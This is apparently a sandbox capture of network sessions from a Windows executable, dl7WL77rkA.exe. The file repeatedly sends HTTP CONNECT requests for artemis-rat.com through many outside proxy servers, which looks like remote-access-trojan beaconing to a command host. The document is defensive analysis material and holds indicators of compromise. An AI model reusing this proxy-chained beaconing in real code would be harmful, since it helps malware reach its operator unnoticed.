Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1691	192.168.2.5	54528	116.199.168.1	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.667606115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1692	192.168.2.5	54648	167.71.5.83	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.668087006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.683559895 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1693	192.168.2.5	54592	146.59.18.246	58031	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.668195009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405153990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.424063921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405579090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.396033049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.343368053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.311263084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1694	192.168.2.5	54580	148.72.215.230	4990	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.669456959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1695	192.168.2.5	54697	104.27.83.183	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.670689106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.824985027 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1696	192.168.2.5	54646	8.142.3.145	3306	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.673388004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1697	192.168.2.5	54661	91.134.140.160	11946	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.673429012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405095100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1698	192.168.2.5	54625	111.90.150.109	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.675213099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1699	192.168.2.5	50515	92.205.107.159	57238	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.675664902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.717590094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.811321974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.892803907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1700	192.168.2.5	54759	104.19.106.122	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.675863028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.830290079 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1701	192.168.2.5	54030	94.23.220.136	43751	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.676702976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.717497110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.811307907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.892788887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1702	192.168.2.5	54763	104.20.178.166	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.676732063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.831700087 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1703	192.168.2.5	54632	36.67.168.117	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.678807020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.056024075 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1704	192.168.2.5	54569	103.153.232.41	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.680870056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.081722021 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 03:31:49.274466038 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 02:29:25 GMT Expires: Mon, 11 Mar 2024 02:29:25 GMT Server: Mikrotik HttpProxy Proxy-Connection: close
Mar 11, 2024 03:31:50.480228901 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 02:29:25 GMT Expires: Mon, 11 Mar 2024 02:29:25 GMT Server: Mikrotik HttpProxy Proxy-Connection: close
Mar 11, 2024 03:31:52.873970032 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 02:29:25 GMT Expires: Mon, 11 Mar 2024 02:29:25 GMT Server: Mikrotik HttpProxy Proxy-Connection: close
Mar 11, 2024 03:31:57.682579994 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 02:29:25 GMT Expires: Mon, 11 Mar 2024 02:29:25 GMT Server: Mikrotik HttpProxy Proxy-Connection: close
Mar 11, 2024 03:32:07.311153889 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 02:29:25 GMT Expires: Mon, 11 Mar 2024 02:29:25 GMT Server: Mikrotik HttpProxy Proxy-Connection: close
Mar 11, 2024 03:32:26.551217079 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 02:29:25 GMT Expires: Mon, 11 Mar 2024 02:29:25 GMT Server: Mikrotik HttpProxy Proxy-Connection: close
Mar 11, 2024 03:33:05.031532049 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 02:29:25 GMT Expires: Mon, 11 Mar 2024 02:29:25 GMT Server: Mikrotik HttpProxy Proxy-Connection: close
Mar 11, 2024 03:34:21.911609888 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 02:29:25 GMT Expires: Mon, 11 Mar 2024 02:29:25 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1705	192.168.2.5	50585	162.240.72.139	37445	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.683517933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.702033997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1706	192.168.2.5	54784	45.12.31.104	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.686650038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.841113091 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1707	192.168.2.5	54664	89.42.166.163	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.687704086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405157089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.424112082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.026057005 CET	203	IN	HTTP/1.0 404 Not Found Content-Length: 1066 Content-Type: text/html Date: Thu, 07 Mar 2024 15:57:46 GMT Expires: Thu, 07 Mar 2024 15:57:46 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1708	192.168.2.5	54785	104.24.193.186	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.687967062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.842863083 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1709	192.168.2.5	53296	162.214.163.137	50509	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.689506054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1710	192.168.2.5	54913	4.182.9.108	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.690112114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1711	192.168.2.5	54917	4.182.9.108	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.691692114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1712	192.168.2.5	54918	4.182.9.108	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.692955971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1713	192.168.2.5	54565	43.231.22.228	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.695102930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.110755920 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1714	192.168.2.5	54792	104.19.85.214	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.695195913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.849829912 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1715	192.168.2.5	54919	4.182.9.108	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.697693110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1716	192.168.2.5	54808	104.20.125.124	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
